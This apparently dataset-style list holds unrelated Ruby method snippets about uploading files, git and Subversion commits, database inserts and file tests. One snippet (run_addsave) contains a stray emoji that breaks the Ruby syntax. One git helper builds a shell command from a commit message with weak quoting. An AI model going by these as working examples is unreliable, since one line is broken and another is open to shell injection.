"def update_index\n index_files = []\n index_files << upload(\"specs.4.8.gz\", specs_index)\n log \"Uploaded all specs index\"\n index_files << upload(\"latest_specs.4.8.gz\", latest_index)\n log \"Uploaded latest specs index\"\n index_files << upload(\"prerelease_specs.4.8.gz\", prerelease_index)\n log \"Uploaded prerelease specs index\"\n\n index_files.each do |file|\n tuf_repo.replace_file(file, 'targets/unclaimed', 'targets')\n end\n\n # For now assume all files are unclaimed\n pending_files = tuf_pending_store.pending\n pending_files.each do |file|\n puts \"Adding file: #{file.path}\"\n tuf_repo.add_file(file, 'targets/unclaimed', 'targets')\n end\n tuf_repo.publish!\n tuf_pending_store.clear(pending_files)\n end",
"def upload(files)\n files.each do |file|\n puts \"Uploading '#{file.filename}'\"\n\n begin\n Timeout.timeout(30) do\n bucket.files.create(\n key: file.filename,\n body: file.blob,\n public: true\n )\n end\n rescue\n puts \"Failed to upload: #{file.filename}\"\n File.open('failed.txt', 'a') { |f| f.write(\"#{file.filename}\\n\") }\n end\n end\n end",
"def gitAddCommit\n @gop.add(:all => true)\n\n begin\n @gop.commit(\"Automatic version bump\")\n rescue Git::GitExecuteError => giterror\n # continue\n end\n end",
"def test_add_dir()\n dirpath = \"#{ENV['TCGA_CLINICAL_TEST_DATA']}/Biotab/\"\n rs = ClinicalTCGA::RetrieveSamples.new([\"TCGA-A6-2671\"], [\"death_days_to\"], false)\n rs.add_all_sources(dirpath, false) # suppress progress bar for unit test\n\n assert_equal(rs.h.keys.size, 18)\n assert(rs.h.has_key?(\"biospecimen_sample\"))\n end",
"def generateTestFile( filename )\n File.new(filename, \"w\")\n file = File.open(filename, \"w\")\n 100.times do # For expediency's sake I'll use a set of 100\n file.puts rand().to_s\n end\n file.close\nend",
"def file_add(file)\n\t\tputs \"Add entries to the local host repository from file: #{file}\"\n\t\traise \"File non-exist. Please check your file path and name again: #{file}\" unless File.exist?(file)\n\t\thosts=file_2_list(file)\n\t\tchanges=bulk_add(hosts)\n\t\treturn changes\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def load_json_files(directory, base_url)\n unsuccessful_uploads = []\n total = 0\n Dir.glob(\"#{directory}/**/*.json\").each do |json_file|\n json_data = File.read(json_file)\n parsed_json = JSON.parse(json_data)\n total += 1\n resource_type = parsed_json[\"resourceType\"]\n resource_id = parsed_json[\"id\"]\n url = \"#{base_url}/#{resource_type}/#{resource_id}\"\n\n response = make_put_request(url, parsed_json)\n\n if response\n puts \"Uploaded #{json_file} successfully!\"\n else\n puts \"Failed to upload #{json_file}.\"\n unsuccessful_uploads << json_file\n end\n end\n\n retry_count = 0\n\n while retry_count < 10 && !unsuccessful_uploads.empty?\n unsuccessful_uploads.shuffle.each do |json_file|\n json_data = File.read(json_file)\n parsed_json = JSON.parse(json_data)\n\n resource_type = parsed_json[\"resourceType\"]\n resource_id = parsed_json[\"id\"]\n url = \"#{base_url}/#{resource_type}/#{resource_id}\"\n\n response = make_put_request(url, parsed_json)\n\n if response\n puts \"Uploaded #{json_file} successfully after retry #{retry_count + 1}!\"\n unsuccessful_uploads.delete(json_file)\n else\n puts \"Retry #{retry_count + 1} failed for #{json_file}.\"\n end\n end\n\n retry_count += 1\n end\n\n [total, unsuccessful_uploads.length]\nend",
"def add_file(file)\n index = @repo.index\n index.add path: file, oid: (Rugged::Blob.from_workdir @repo, file), mode: 0100644\n index.write\n\n @affected_files << file\n end",
"def test_pull_a_new_file\n a.add(\"two\" => \"two content\").commit(\"a added two\")\n \n assert_equal \"two content\", a['two']\n assert_equal nil, b['two']\n \n b.pull\n \n assert_equal \"two content\", a['two']\n assert_equal \"two content\", b['two']\n \n assert_log_equal [\n \"a added one\",\n \"a added two\"\n ], b\n end",
"def commit_files(author: nil, message: nil, parent: nil, files: {})\n # check parameters\n raise \"no author given\" if author.nil?\n raise \"no message given\" if message.nil?\n\n # get parent commit\n if not parent.nil?\n parent = @wiki.commit_for(parent)\n elsif parent.nil? and not @wiki.repo.head.commit.nil?\n parent = @wiki.commit_for(@wiki.repo.head.commit.id)\n end\n\n unless parent.nil?\n log_debug \" checkpoint (parent #{parent})\"\n if parent.id != @wiki.repo.head.commit.id\n log_debug \" (parent #{parent} is not head)\"\n\n # now check version of each file individually, if it has been\n # changed in one of the changes since parent.\n #\n # if so, raise error, else proceed\n\n files.each do |path,contents|\n next if @wiki.repo.log(nil, path, {:since => parent.authored_date}).empty?\n log_debug \" file has changed\"\n raise \"repo has changed\"\n end\n end\n end\n\n options = {\n :message => message,\n :author => author,\n }\n unless parent.nil?\n options[:parent] = parent\n end\n\n committer = Gollum::Committer.new(@wiki, options)\n\n files.each do |path,contents|\n path = path.dup.gsub(/^\\.\\//, '')\n if contents.nil?\n committer.index.delete(path)\n else\n committer.index.add(path, normalize(contents))\n end\n # if wikifile_exists? path, parent\n # log_debug \" U path: #{path}, contents: #{normalize(contents)}\"\n # committer.index.add(path.dup, normalize(contents))\n # else\n # log_debug \" A path: #{path}, contents: #{normalize(contents)}\"\n # dir, name, format = split_path path\n # committer.add_to_index(dir, name, format, contents)\n # end\n end\n\n committer.after_commit do |index, sha|\n log_debug \" after_commit: #{index}, #{sha}\"\n @wiki.clear_cache\n\n files.each do |path,contents|\n path = path.gsub(/^\\.\\//, '')\n #dir, name, format = split_path path\n unless @wiki.repo.bare\n Dir.chdir(::File.join(@wiki.repo.path, \"..\")) do\n if contents.nil?\n @wiki.repo.git.rm(path, :force => true)\n else\n @wiki.repo.git.checkout(path, 'HEAD')\n end\n end\n end\n end\n\n @wiki_manager.add_to_index(@wiki, index, sha, files)\n end\n\n sha = committer.commit\n log_debug \"sha #{sha}\"\n end",
"def test_changed\n dir = \"changed_dir\"\n dir1 = \"changed_dir1\"\n dir2 = \"changed_dir2\"\n dir_path = File.join(@wc_path, dir)\n dir1_path = File.join(@wc_path, dir1)\n dir2_path = File.join(@wc_path, dir2)\n dir_svn_path = dir\n dir1_svn_path = dir1\n dir2_svn_path = dir2\n\n file1 = \"changed1.txt\"\n file2 = \"changed2.txt\"\n file3 = \"changed3.txt\"\n file4 = \"changed4.txt\"\n file5 = \"changed5.txt\"\n file1_path = File.join(@wc_path, file1)\n file2_path = File.join(dir_path, file2)\n file3_path = File.join(@wc_path, file3)\n file4_path = File.join(dir_path, file4)\n file5_path = File.join(@wc_path, file5)\n file1_svn_path = file1\n file2_svn_path = [dir_svn_path, file2].join(\"/\")\n file3_svn_path = file3\n file4_svn_path = [dir_svn_path, file4].join(\"/\")\n file5_svn_path = file5\n\n first_rev = nil\n\n log = \"added 3 dirs\\nanded 5 files\"\n make_context(log) do |ctx|\n\n ctx.mkdir([dir_path, dir1_path, dir2_path])\n\n FileUtils.touch(file1_path)\n FileUtils.touch(file2_path)\n FileUtils.touch(file3_path)\n FileUtils.touch(file4_path)\n FileUtils.touch(file5_path)\n ctx.add(file1_path)\n ctx.add(file2_path)\n ctx.add(file3_path)\n ctx.add(file4_path)\n ctx.add(file5_path)\n\n commit_info = ctx.commit(@wc_path)\n first_rev = commit_info.revision\n\n editor = traverse(Svn::Delta::ChangedEditor, commit_info.revision, true)\n assert_equal([\n file1_svn_path, file2_svn_path,\n file3_svn_path, file4_svn_path,\n file5_svn_path,\n ].sort,\n editor.added_files)\n assert_equal([], editor.updated_files)\n assert_equal([], editor.deleted_files)\n assert_equal([].sort, editor.updated_dirs)\n assert_equal([].sort, editor.deleted_dirs)\n assert_equal([\n \"#{dir_svn_path}/\",\n \"#{dir1_svn_path}/\",\n \"#{dir2_svn_path}/\"\n ].sort,\n editor.added_dirs)\n end\n\n log = \"deleted 2 dirs\\nchanged 3 files\\ndeleted 2 files\\nadded 3 files\"\n make_context(log) do |ctx|\n\n dir3 = \"changed_dir3\"\n dir4 = \"changed_dir4\"\n dir3_path = File.join(dir_path, dir3)\n dir4_path = File.join(@wc_path, dir4)\n dir3_svn_path = [dir_svn_path, dir3].join(\"/\")\n dir4_svn_path = dir4\n\n file6 = \"changed6.txt\"\n file7 = \"changed7.txt\"\n file8 = \"changed8.txt\"\n file9 = \"changed9.txt\"\n file10 = \"changed10.txt\"\n file6_path = File.join(dir_path, file6)\n file7_path = File.join(@wc_path, file7)\n file8_path = File.join(dir_path, file8)\n file9_path = File.join(dir_path, file9)\n file10_path = File.join(dir_path, file10)\n file6_svn_path = [dir_svn_path, file6].join(\"/\")\n file7_svn_path = file7\n file8_svn_path = [dir_svn_path, file8].join(\"/\")\n file9_svn_path = [dir_svn_path, file9].join(\"/\")\n file10_svn_path = [dir_svn_path, file10].join(\"/\")\n\n File.open(file1_path, \"w\") {|f| f.puts \"changed\"}\n File.open(file2_path, \"w\") {|f| f.puts \"changed\"}\n File.open(file3_path, \"w\") {|f| f.puts \"changed\"}\n ctx.rm_f([file4_path, file5_path])\n FileUtils.touch(file6_path)\n FileUtils.touch(file7_path)\n FileUtils.touch(file8_path)\n ctx.add(file6_path)\n ctx.add(file7_path)\n ctx.add(file8_path)\n ctx.cp(file1_path, file9_path)\n ctx.cp(file2_path, file10_path)\n ctx.mv(dir2_path, dir3_path)\n ctx.cp(dir1_path, dir4_path)\n ctx.rm(dir1_path)\n\n commit_info = ctx.commit(@wc_path)\n second_rev = commit_info.revision\n\n editor = traverse(Svn::Delta::ChangedEditor, commit_info.revision, true)\n assert_equal([file1_svn_path, file2_svn_path, file3_svn_path].sort,\n editor.updated_files)\n assert_equal([file4_svn_path, file5_svn_path].sort,\n editor.deleted_files)\n assert_equal([file6_svn_path, file7_svn_path, file8_svn_path].sort,\n editor.added_files)\n assert_equal([].sort, editor.updated_dirs)\n assert_equal([\n [file9_svn_path, file1_svn_path, first_rev],\n [file10_svn_path, file2_svn_path, first_rev],\n ].sort_by{|x| x[0]},\n editor.copied_files)\n assert_equal([\n [\"#{dir3_svn_path}/\", \"#{dir2_svn_path}/\", first_rev],\n [\"#{dir4_svn_path}/\", \"#{dir1_svn_path}/\", first_rev],\n ].sort_by{|x| x[0]},\n editor.copied_dirs)\n assert_equal([\"#{dir1_svn_path}/\", \"#{dir2_svn_path}/\"].sort,\n editor.deleted_dirs)\n assert_equal([].sort, editor.added_dirs)\n end\n end",
"def add_files(*files)\n Rails.logger.info \"Adding #{files.map(&:upload_file_name).join(', ')} to bundle #{self.bundle_type}:#{self.id} in #{self.study.name}\"\n files.each do |file|\n file.update!(study_file_bundle_id: self.id)\n end\n additional_files = StudyFileBundle.generate_file_list(*files)\n self.original_file_list += additional_files\n self.save!\n Rails.logger.info \"File addition to bundle #{self.bundle_type}:#{self.id} successful\"\n end",
"def commit_and_merge\n Dir.glob(\"**/*~\").each do |filename|\n if File.file?(filename)\n File.delete(filename)\n end\n end\n cd(@project_name) do\n now = Time.now.to_s\n g = Git.open('.')\n g.add('.')\n g.commit(\"generated #{now}\")\n g.branch('master').checkout\n\n # it's safer to have the user do the rebase so tell them how\n puts 'If the files on the \"generated\" branch are ok, then run:'\n puts\n puts ' git rebase generated master'\n puts\n puts 'to update your master branch with the new generated files.'\n puts 'Note, if there are merge problems, resolve them then run:'\n puts\n puts ' git rebase --continue'\n puts\n end\n end",
"def test_add_back_a_remotely_removed_file\n a.add(\"two\" => \"two content\").commit(\"a added two\")\n a.rm(\"two\").commit(\"a removed two\")\n b.add(\"two\" => \"two content\").commit(\"b added two\")\n \n assert_equal nil, a['two']\n assert_equal \"two content\", b['two']\n \n b.pull\n \n assert_equal nil, a['two']\n assert_equal \"two content\", b['two']\n \n assert_log_equal [\n \"a added one\",\n \"a added two\",\n \"a removed two\",\n \"b added two\", \n \"gitgo merge of origin/gitgo into gitgo\"\n ], b\n end",
"def test_add_recipe\n @fdb = setup\n assert(@fdb.recipes.length >= 2, \"at least 2 recipes were originally added from the file\")\n end",
"def _setup_pcrs_and_seq_file_for_batch_tests\n @proj = Proj.find($proj_id) \n \n @proj.pcrs.destroy_all\n\n (0..4).each do |i|\n Pcr.create!(:fwd_primer => @primer1, :rev_primer => @primer2, :extract => @extract)\n end\n\n @proj.reload\n\n foo = File.new((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"w+\")\n foo.puts @proj.pcrs.collect{|p| \">seq_#{p.id}\\nACGTCGT\"}.join(\"\\n\\n\")\n foo.close\n\n @fasta_file = File.open((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"r\") \n end",
"def test_commitUseZipEntry\n File.copy(TestFiles::RANDOM_ASCII_FILE1, \"okToDelete.txt\")\n zf = ZipFile.open(TEST_ZIP.zipName)\n zf.add(\"okToDelete.txt\", \"okToDelete.txt\")\n assertContains(zf, \"okToDelete.txt\")\n zf.commit\n File.move(\"okToDelete.txt\", \"okToDeleteMoved.txt\")\n assertContains(zf, \"okToDelete.txt\", \"okToDeleteMoved.txt\")\n end",
"def add_specs_to_repo\n UI.puts \"Adding the #{'spec'.pluralize(podspec_files.count)} to repo `#{@repo}'\\n\"\n podspec_files.each do |spec_file|\n spec = Pod::Specification.from_file(spec_file)\n output_path = File.join(repo_specs_dir, spec.name, spec.version.to_s)\n UI.puts \" --> #{get_message(output_path, spec)}\"\n if @local_only\n create_json_in_path(output_path, spec)\n else\n # TODO push to local disabled until virtual repo support\n raise Informative, 'Pushing specs to Artifactory is currently disabled'\n=begin\n begin\n podspec_json_tmp_path = create_json_in_path(output_path, spec)\n rescue => e\n FileUtils.remove(output_path, :force => true)\n raise Informative, \"Error writing spec file in target path '#{output_path}': #{e.message}\"\n end\n\n begin\n push_to_remote(spec, podspec_json_tmp_path)\n rescue => e\n FileUtils.remove(output_path, :force => true)\n raise Informative, \"Error pushing to remote '#{@repo}': #{e.message}\"\n end\n FileUtils.remove(podspec_json_tmp_path, :force => true)\n=end\n end\n end\n end",
"def commit( *files, **options )\n\t\tself.server.run( :commit, *files, **options )\n\t\treturn true\n\tend",
"def add_file_to_database(name, path, size, owner)\n $db.execute(\"INSERT INTO files (owner_id, file_name, file_size, file_path, publicity) VALUES (?, ?, ?, ?, 0)\", [owner, name, size, path])\nend",
"def test_add\n\t\tassert_raise( RuntimeError ) { @freeid.add(\"Yo\") }\n\t\[email protected]\n\t\[email protected]\n\t\[email protected](6)\n\t\tassert_equal(6, @freeid.next, \"Add not working\")\n\t\tassert_equal(2, @freeid.next, \"Last not working after add\")\n\tend",
"def ingest_new_content( depositor, work, file_str, asset_dir, current, total )\n file_names = file_str.split('|')\n\n puts \"Ingesting row #{current} of #{total}: #{work.title.join} (#{file_names.length} assets)...\"\n\n # handle dry running\n return true if ENV[ 'DRY_RUN' ]\n\n # and upload each file\n file_names.each do |file_name|\n\n # Clamav can't handle file names with space, (, or )\n # Assume they have been removed, but keep them in the label\n adjusted_file_name = file_name.gsub(/[() ]/, '_')\n file_path = File.join( asset_dir, adjusted_file_name )\n\n # remove spaces in filename\n #file_no_spaces = file_path.gsub(' ', '_')\n #File.rename(file_path, file_no_spaces)\n #file_path = file_no_spaces\n\n # Check for existing asset\n if work.file_sets.any? {|fs| fs.title.first == file_name }\n puts \"Skipping existing file: #{file_name}\"\n next\n end\n\n if File.exist?(file_path)\n fileset = TaskHelpers.upload_file( depositor, work, file_path, file_name, work.visibility )\n else\n puts \"File does not exist: #{file_path}\"\n end\n # Upload very slowly...\n sleep(30)\n\n end\n\n return true\n end",
"def git_add_everything(host, git_repo_path)\n git_on(host, \"add #{git_repo_path}/*\", git_repo_path)\nend",
"def test_no_duplicated_file\n #emulate the saving of a file whose content is 'test content'\n @writer.save_file('test content')\n #an exception should be raised by ioservice if file is attempted to be saved twice\n assert_nothing_thrown do\n @writer.save_file('test content')\n end\n end",
"def test_does_not_duplicate_if_file_already_exists\n test_file = 'extractor_test_small_sample'\n src_directory = File.join('testRawData', 'pdf/')\n dst_directory = File.join('testExtractedData', 'pdf/')\n\n\tnumber_files_before = TestUtils.count_files_directory(dst_directory)\n\n # Order of tests is not guaranteed, so create the file if necessary\n if (not File.exists?(\"#{dst_directory}#{test_file}.txt\"))\n system(\"#{$extractor_command} #{src_directory}#{test_file}.pdf #{dst_directory}\")\n number_files_before = number_files_before + 1\n end\n system(\"#{$extractor_command} #{src_directory}#{test_file}.pdf #{dst_directory}\")\n number_of_files_after = TestUtils.count_files_directory(dst_directory)\n \n assert_equal number_files_before, number_of_files_after\n end",
"def git_commit_all message\n system \"git add --all .\"\n return false unless $?\n system \"git commit -q -m '#{message.gsub(/'/, \"\\'\")}'\"\n return $?\nend",
"def add!()\n git \"add #{@path}\"\n end",
"def add(filename)\n raise StandardError, \"That filename is invalid, its too long\" if filename.length > 255\n # Get the next record number\n p n = getNextRecordNumber\n \n filename = File.expand_path(filename)\n filename.gsub!(/^([a-z])/){$1.upcase}\n \n utf8 = filename\n # Are there any UTF8 characters to deal with?\n if not filename =~ /^[\\x21-\\x7E]+$/i\n # Use File::SEPARATOR\n filename = filename[0,3]+(filename[3..-1].split(\"\\\\\").collect { |chunk| ((chunk =~ /^[\\x21-\\x7E]+$/i) ? chunk : chunk.gsub(/([^a-z0-9_])/i,\"\")[0..5].upcase+\"~1\"+File.extname(chunk))}.join(\"\\\\\"))\n end\n \n test = open(\"temp.txt\",\"w\")\n # Go to the end of the file, where the next record needs to be written\n @fh.sysseek(0, IO::SEEK_END)\n @fh.write filename.ljust(280,\"\\000\")\n @fh.write [n].pack(\"V\")\n @fh.write [filename.match(/^([A-Z]):/i)[1].upcase[0] - 65].pack(\"V\")\n @fh.write [((Time.now.to_f+11644473600)*(10**7)).to_i].pack(\"Q\")\n @fh.write [(open(utf8).read.length / Sys::Filesystem.stat(filename[0,3]).block_size).ceil].pack(\"V\")\n @fh.write Iconv.new(\"UTF-16LE\",\"UTF-8\").iconv(utf8).ljust(520,\"\\000\")\n @fh.write \"\\x0D\\x0A\"\n \"D#{filename[0..0].downcase}#{n+1}\"+File.extname(utf8)\n end",
"def migrate_lots_of_ug_papers(path_to_fox, path_to_foxdone, content_server_url, collection_mapping_doc_path, user)\r\nputs \"doing a bulk migration from \" + path_to_fox\r\n\r\nfname = \"tally.txt\"\r\ntallyfile = File.open(fname, \"a\")\r\nDir.foreach(path_to_fox)do |item|\t\r\n\t# we dont want to try and act on the current and parent directories\r\n\tnext if item == '.' or item == '..'\r\n\t# trackingfile.puts(\"now working on \" + item)\r\n\tputs \"found\" + item.to_s\r\n\titempath = path_to_fox + \"/\" + item\r\n\tresult = 9 # so this wont do the actions required if it isnt reset\r\n\tbegin\r\n\t\tresult = migrate_undergraduate_paper(itempath, content_server_url, collection_mapping_doc_path, user)\r\n\trescue\r\n\t\tresult = 1\t\r\n\t\ttallyfile.puts(\"rescue says FAILED TO INGEST \"+ itempath) \r\n\tend\r\n\tif result == 0\r\n\t\ttallyfile.puts(\"ingested \" + itempath)\r\n\t\t#sleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\t\tFileUtils.mv(itempath, path_to_foxdone + \"/\" + item) # move files once migrated\r\n\telsif result == 1 # this may well not work, as it may stop part way through before it ever gets here. rescue block might help?\r\n\t\ttallyfile.puts(\"FAILED TO INGEST \"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telsif result == 2 # apparently some records may not have an actual resource paper of any id!\r\n\t\ttallyfile.puts(\"ingested metadata but NO MAIN RESOURCE DOCUMENT IN \"+ itempath)\r\n\t\t#sleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telsif result == 3 # couldnt identify parent collection in mappings\r\n\t\ttallyfile.puts(\"FAILED TO INGEST \" + itempath + \" because couldnt identiy parent collection mapping\")\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telsif result == 4 # this may well not work, as it may stop part way through before it ever gets here. \r\n\t\ttallyfile.puts(\"FAILED TO INGEST RESOURCE DOCUMENT IN\"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telse\r\n tallyfile.puts(\" didnt return expected value of 0 or 1 \")\t\r\n\tend\r\nend\r\ntallyfile.close\r\nputs \"all done\"\r\nend",
"def increment_playcount(path)\n # sometimes files don't end up in the database, add them when played\n self.new_file(path)\n @files.filter(:path => path).update(:playcount => Sequel.expr(1) + :playcount)\n end",
"def test_find_files_to_test\n @a.last_mtime = Time.at(0)\n assert @a.find_files_to_test(@files)\n\n @a.last_mtime = @files.values.sort.last + 1\n deny @a.find_files_to_test(@files)\n end",
"def test_seenewfiles\n server = nil\n testdir, pattern, tmpfile = mktestdir\n\n\n newfile = File.join(testdir, \"newfile\")\n\n # go through the whole schtick again...\n file = nil\n checks = Puppet::Network::Handler.fileserver::CHECKPARAMS\n\n assert_nothing_raised {\n\n server = Puppet::Network::Handler.fileserver.new(\n\n :Local => true,\n\n :Config => false\n )\n }\n\n assert_nothing_raised {\n server.mount(testdir, \"test\")\n }\n\n list = nil\n sfile = \"/test/\"\n assert_nothing_raised {\n list = server.list(sfile, :manage, true, false)\n }\n\n # create the new file\n File.open(newfile, \"w\") { |f|\n 3.times { f.puts rand(100) }\n }\n\n newlist = nil\n assert_nothing_raised {\n newlist = server.list(sfile, :manage, true, false)\n }\n\n # verify the list has changed\n assert(list != newlist)\n\n # and verify that we are specifically seeing the new file\n assert(newlist =~ /newfile/)\n end",
"def new_files; end",
"def test_create_batch\n batch_upload = uploaded_file(\"#{File.expand_path(Rails.root)}/test/fixtures/batch_import.csv\")\n count = Batch.count\n post :create, {:upload => {'file' => batch_upload}, :type => 'batch'}, {:user => 15}\n new_count = Batch.count\n last_batch = Batch.find(:all).last\n assert_equal(last_batch.arrival_time, Time.parse(\"9/19/2007 21:45\"))\n assert_equal(count + 1, new_count)\n assert_redirected_to :controller => '/admin/upload', :action => 'upload', :batch => nil, :type => 'batch'\n end",
"def upload!(thread_count = 5)\n file_number = 0\n mutex = Mutex.new\n threads = []\n\n thread_count.times do |i|\n threads[i] = Thread.new {\n until files.empty?\n mutex.synchronize do\n file_number += 1\n Thread.current[\"file_number\"] = file_number\n end\n file = files.pop rescue nil\n next unless file\n\n # I had some more manipulation here figuring out the git sha\n # For the sake of the example, we'll leave it simple\n #\n path = file\n\n puts \"[#{Thread.current[\"file_number\"]}/#{total_files}] uploading...\"\n\n data = File.open(file)\n\n next if File.directory?(data)\n \n # chop 'public' from key:\n path.slice!('public/')\n obj = s3_bucket.objects[path]\n \n obj.write(data, { acl: :public_read })\n end\n }\n end\n threads.each { |t| t.join }\n end",
"def test_update()\n\t\[email protected](@databasefile)\n\t\t\n\t\tFile.open(@tempfile.path, File::WRONLY|File::APPEND) { |fp|\n\t\t\tfp.print(\"New content\")\n\t\t}\n\t\t\n\t\tassert_nothing_raised(\"update of checksum failed\") {\n\t\t\[email protected](@tempfile.path)\n\t\t\[email protected](@tempfile.path)\n\t\t}\n\tend",
"def test_reuse_single_file\n CheckFile @writer, @ioservice, @adlers, 'test tests test ', ['test ', 'tests', ' ', 'test ']\n end",
"def test_file_append()\n\t\t# test the empty file\n\t\tCfruby::FileEdit.file_append(@emptyfilename, \"new line\")\n\t\tlines = File.open(@emptyfilename, File::RDONLY).readlines()\n\t\tassert_equal(1, lines.length)\n\t\tassert_equal(\"new line\", lines[-1])\n\t\t\n\t\t# test the multiline file\n\t\tCfruby::FileEdit.file_append(@multilinefilename, \"new line\")\n\t\tlines = File.open(@multilinefilename, File::RDONLY).readlines()\n\t\tassert_equal(@multilinefilecontents.split(\"\\n\").length+1, lines.length)\n\t\tassert_equal(\"new line\", lines[-1])\t\t\n\tend",
"def mark_each_first_file_new_units\n to_mark = Regexp.new(%r{(hours|days)_ago/1/})\n @my_files.each do |f|\n if to_mark.match(f.fname)\n f.must_wait = true\n end\n end\n end",
"def test_5_add_double_faced_cards\n # Don't download the double-faced cards, use the test files instead\n cards_dir = File.join('test', 'files', MtgDb::DOUBLE_FACED_DIR)\n files = Dir.glob(File.join(cards_dir, '*.html')).sort\n\n refute_empty files, \"Couldn't find any double-faced cards to use for testing/inserting into the Db\"\n\n # Add double-faced cards to the db\n require 'mtg_db/models'\n num_cards_pre_add = MtgDb::Models::DoubleFaced.count\n MtgDb.add_double_faced_cards_to_db(TEST_DB_FILENAME, File.join('test', 'files'))\n num_cards_post_add = MtgDb::Models::DoubleFaced.count\n\n File.delete(TEST_DB_FILENAME)\n\n assert_operator num_cards_post_add, :>, num_cards_pre_add, \"Double-Faced cards weren't added\"\n end",
"def run_addsave\n\tputs \"-----------------\"🐝\n\tload_file \n\trun_shopping_list\n\tfinish_addsave\nend",
"def add(file)\n # add file to object db\n return false if !File.exists?(file)\n return false if !File.file?(file)\n \n sha = get_raw_repo.put_raw_object(File.read(file), 'blob')\n \n # add it to the index\n @git_index.add(file, sha)\n end",
"def process(files, parallel, test, output_path)\n\n summaries = []\n files.each do |file|\n\n mediainfo = mediainfo(file)\n\n results = []\n tx_files = duplicate(file, output_path, parallel - 1)\n tx_files << file\n\n start_time = Time.now\n tx(tx_files, results, test, mediainfo, output_path)\n wait_for_completion\n end_time = Time.now\n\n summary = TestSummary.new(File.basename(file), results, start_time, end_time, mediainfo[:duration])\n summaries << summary\n end\n\n summaries\nend",
"def setup\n @testnum += 1\n @tempdirname = \".ocratest-#{$$}-#{@testnum}\"\n Dir.mkdir @tempdirname\n Dir.chdir @tempdirname\n end",
"def verify_file_creation list_of_files\n list_of_files.each do |path|\n rm_rf path\n File.exists?(path).should be_false \n end\n yield\n list_of_files.each do |path|\n File.exists?(path).should be_true \n end\nend",
"def submit_files_for_assignment_after_due_before_collection(assignment, time, filename, text)\n pretend_now_is(Time.parse(time)) do\n assert Time.now < assignment.due_date\n assert Time.now < assignment.submission_rule.calculate_collection_time\n @group.access_repo do |repo|\n txn = repo.get_transaction('test1')\n txn = add_file_helper(assignment, txn, filename, text)\n repo.commit(txn)\n end\n end\n end",
"def create_local_commit author: nil, branch:, file_name:, file_content:, message:, push: false\n on_branch(branch) do\n if (folder_name = File.dirname file_name) != '.'\n Dir.mkdir folder_name\n end\n File.write file_name, file_content\n run \"git add '#{file_name}'\"\n run \"git commit -m '#{message}' #{\"--author='#{author}'\" if author}\"\n run 'git push' if push\n end\nend",
"def performanceTest(maxThreads, maxSteps, filePath)\n File.open(filePath, \"a\") do |line|\n v = maxSteps / 5000000\n for threads in 1..(maxThreads)\n for k in 1..v\n steps = k * 5000000\n diff = test(0, 10, steps, proc{ |x| x*x*x*x-x*x+2*x+Math.log(x)+Math.sin(x)}, threads, filePath)\n line.write(\"#{threads} #{diff}\\n\") # update the file\n end\n end\n end\nend",
"def db_insert!( db_file )\n ####db = SQLite3::Database.new( db_file )\n ####db.transaction do |database|\n #### if not database.execute( db_fetch ).empty?\n #### raise(IndexError, \"Entry exists for #{filename}, #{@rmr_number}, #{@timestamp.to_s}... Skipping.\")\n #### end\n #### database.execute( db_insert )\n ####end\n ####db.close\n puts \"SQLite3\"\n end",
"def test_05b\r\n db = build\r\n nm = db.fetch 'image-1.jpg',:width => 102 # Autogenerate\r\n t1 = File.new(nm).mtime\r\n nm2 = db.fetch 'image-1.jpg',:width => 103 # Autogenerate\r\n t2 = File.new(nm2).mtime\r\n Kernel.sleep 1\r\n db.update 'image-1.jpg' # Update everything.\r\n assert_not_equal t1,File.new(nm).mtime\r\n assert_not_equal t2,File.new(nm2).mtime\r\n end",
"def test_basic_file_ops\n assert_equal(0, @dir.file_count(), \"directory should be empty\")\n assert(! @dir.exists?('filename'), \"File should not exist\")\n @dir.touch('tmpfile1')\n assert_equal(1, @dir.file_count(), \"directory should have one file\")\n @dir.touch('tmpfile2')\n assert_equal(2, @dir.file_count(), \"directory should have two files\")\n assert(@dir.exists?('tmpfile1'), \"'tmpfile1' should exist\")\n @dir.delete('tmpfile1')\n assert(! @dir.exists?('tmpfile1'), \"'tmpfile1' should no longer exist\")\n assert_equal(1, @dir.file_count(), \"directory should have one file\")\n end",
"def add_files(context, file_path__content_array, opts = {})\n get_adapter_repo(context).add_files(file_path__content_array, no_commit: opts[:no_commit], commit_msg: opts[:commit_msg])\n end",
"def test_repo_valid\n post '/repos', {:name => GIT_REPO}\n post \"/repos/#{GIT_REPO}.git/branches/master/files\", {:name => \"myfile.txt\", :data => \"Hello There\", :encoding => \"utf-8\", :user => \"Rune Madsen\", :email => \"[email protected]\", :message => \"My First Commit\"}\n post \"/repos/#{GIT_REPO}.git/branches/master/files\", {:name => \"myfile.txt\", :data => \"Hello There Again\", :encoding => \"utf-8\", :user => \"Rune Madsen\", :email => \"[email protected]\", :message => \"My First Commit\"}\n `git clone #{path} /tmp/test`\n status = $?.to_i\n assert_equal(0, status)\n FileUtils.rm_rf \"/tmp/test\"\n end",
"def generate_file_list\n self.file_list = Concurrent::Array.new\n targets.each do |target|\n add_target(target)\n end\n end",
"def create_files\n tests.each do |test|\n FileUtils.mkdir(test.id.to_s) unless Dir.exist?(test.id.to_s) if test.option[:dir]\n files = []\n files << test.action.split('?').first\n files += test.option[:implicit]\n files << test.result_rdf if test.result_rdf\n files << test.result_json if test.result_json\n files.compact.select {|f| !File.exist?(f)}.each do |f|\n File.open(f, \"w\") {|io| io.puts( f.end_with?('.json') ? \"{}\" : \"\")}\n end\n end\n end",
"def test_08a\r\n db = ITestUtils.newdb\r\n db.hooks = hooks()\r\n\r\n nm = File.join(test_data,'image-1.jpg')\r\n r = db.store(nm)\r\n nm = File.join(test_data,'image-2.jpg')\r\n r = db.store(nm)\r\n assert_equal 2,db.hooks.count[:creates]\r\n assert_equal nil,db.hooks.params[:force]\r\n assert_equal File.join(db.root,'originals','image-2.jpg'),\r\n db.hooks.params[:original]\r\n end",
